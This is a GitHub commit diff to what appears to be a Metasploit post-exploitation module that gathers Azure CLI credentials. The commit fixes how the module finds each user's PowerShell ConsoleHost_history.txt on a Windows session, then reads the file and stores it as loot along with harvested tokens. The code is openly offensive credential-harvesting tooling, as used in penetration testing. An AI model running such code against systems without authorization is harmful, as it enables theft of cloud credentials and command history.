Skip to content

Commit db338e3

Browse files
committed
fix consolehost_history search
1 parent 4344557 commit db338e3

File tree

1 file changed

+9
-8
lines changed

1 file changed

+9
-8
lines changed

modules/post/multi/gather/azure_cli_creds.rb

Lines changed: 9 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -165,19 +165,20 @@ def run
165165
tokens_table << result
166166
end
167167
end
168-
end
169168

170-
# windows only
171-
if session.platform == 'windows'
169+
# windows only
170+
next unless session.platform == 'windows'
171+
172172
vprint_status(' Checking for console history files')
173-
['%USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt'].each do |file_location|
174-
next unless exists?(file_location)
173+
%w[AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt].each do |file_location|
174+
possible_location = ::File.join(user_directory, file_location)
175+
next unless exists?(possible_location)
175176

176-
data = read_file(file_location)
177+
data = read_file(possible_location)
177178
next unless data
178179

179-
loot = store_loot 'azure.console_history.txt', 'text/plain', session, data, file_location, 'Azure CLI Profile'
180-
print_good " #{file_location} stored in #{loot}"
180+
loot = store_loot 'azure.console_history.txt', 'text/plain', session, data, possible_location, 'Azure CLI Profile'
181+
print_good " #{possible_location} stored in #{loot}"
181182

182183
results = print_consolehost_history(data)
183184
results.each do |result|

0 commit comments

Comments
 (0)